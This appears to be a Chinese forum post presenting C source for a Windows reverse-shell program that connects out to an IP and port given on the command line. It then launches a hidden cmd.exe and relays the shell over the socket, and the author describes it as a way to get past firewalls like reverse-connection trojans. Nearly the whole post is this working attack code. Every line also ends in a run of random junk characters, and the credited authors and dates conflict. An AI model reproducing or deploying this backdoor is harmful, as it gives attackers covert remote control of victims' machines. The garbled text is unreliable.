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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @Y}G,i  
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/* ============================== rd)W+W9  
Rebound port in Windows NT u1\r:q  
By wind,2006/7 *M$'dLn  
===============================*/ wxT( ktE  
#include ;82?ACCP  
#include 0sB[]E|7[s  
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#pragma comment(lib,"wsock32.lib") 'rA(+-.M;  
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void OutputShell(); O=^/58(m  
SOCKET sClient; Jb-.x_Bf  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >2X-98,  
^`Hb7A(  
void main(int argc,char **argv) aK 3'u   
{ #7/39zTK  
WSADATA stWsaData; Ds#BfP7a  
int nRet; ,J:Ro N_:  
SOCKADDR_IN stSaiClient,stSaiServer; q>5j (,6F  
p./0N.  
if(argc != 3) aK 7 }}  
{ ~@#a*="  
printf("Useage:\n\rRebound DestIP DestPort\n"); +d(|Jid  
return; z\woTL6D]  
} {Byh:-e<  
6RDy2JAOP  
WSAStartup(MAKEWORD(2,2),&stWsaData); yT~x7,  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2waPNb|  
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stSaiClient.sin_family = AF_INET; 0sTR`Xk  
stSaiClient.sin_port = htons(0); E]=>@EX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J;4aghzY  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NFR>[L V  
{ &So1;RR,_M  
printf("Bind Socket Failed!\n"); y0~ttfv  
return; |.L_c"Bc  
} g(,^'; j  
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stSaiServer.sin_family = AF_INET; (NN;1{DB8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RgZ9ZrE\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bvZ:5M  
HxcL3Bh$~}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  Lw%_xRn)  
{ PC|ul{[*}  
printf("Connect Error!"); +w"?q'SnF  
return; PTqia!  
} \O\q1 s~  
OutputShell(); Rd|8=`)  
} VqxK5  
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void OutputShell() _uXb>V*8  
{ /?($W|9+l  
char szBuff[1024]; KHgn  
SECURITY_ATTRIBUTES stSecurityAttributes; "?<h,Hvi  
OSVERSIONINFO stOsversionInfo; "/mt uU3rt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ivyaGAF}+o  
STARTUPINFO stStartupInfo; ?_cOU@n  
char *szShell; `b%lojT.  
PROCESS_INFORMATION stProcessInformation; L"n)fe$  
unsigned long lBytesRead; >[;=c0(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1@JusS0^K  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qZ&~&f|>e  
stSecurityAttributes.lpSecurityDescriptor = 0; aB?usVoS  
stSecurityAttributes.bInheritHandle = TRUE; egURRC!  
#V%98|"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B?- poB&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zn7)>cQ905  
=:]v~Ehq  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %.?V\l  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0bT[05.  
stStartupInfo.wShowWindow = SW_HIDE; X 8R`C0   
stStartupInfo.hStdInput = hReadPipe; Wpi35JrC  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [uLs M<C  
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GetVersionEx(&stOsversionInfo); [.1ME lM  
PMV,*`"9"A  
switch(stOsversionInfo.dwPlatformId) RtzSe$O  
{ PP>6  
case 1: K,$rG%c zX  
szShell = "command.com"; n|LpM.  
break; l{>j8Ln  
default: r[H8;&EL  
szShell = "cmd.exe"; @NqwJ.%g  
break; e,MsF4'  
} ;R[3nb9%  
kS:#|yY8%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T'@+MA) ~  
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send(sClient,szMsg,77,0); oPM*VTMA  
while(1) 13`Mt1R  
{ |K06H ?6X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v{fcQb  
if(lBytesRead) 2wHbhW[  
{ >3Q|k{97  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y!.jpF'uI  
send(sClient,szBuff,lBytesRead,0); ne/JC(  
} 0FgF,  
else ;%B9mM#p~  
{ V?1 $H  
lBytesRead=recv(sClient,szBuff,1024,0);  1/2cb-V  
if(lBytesRead<=0) break; ,<r&] eC  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UNff &E-  
} |=m.eU  
} Fu tS  
Mjy:k|aY"  
return; a4=(z72xe  
}
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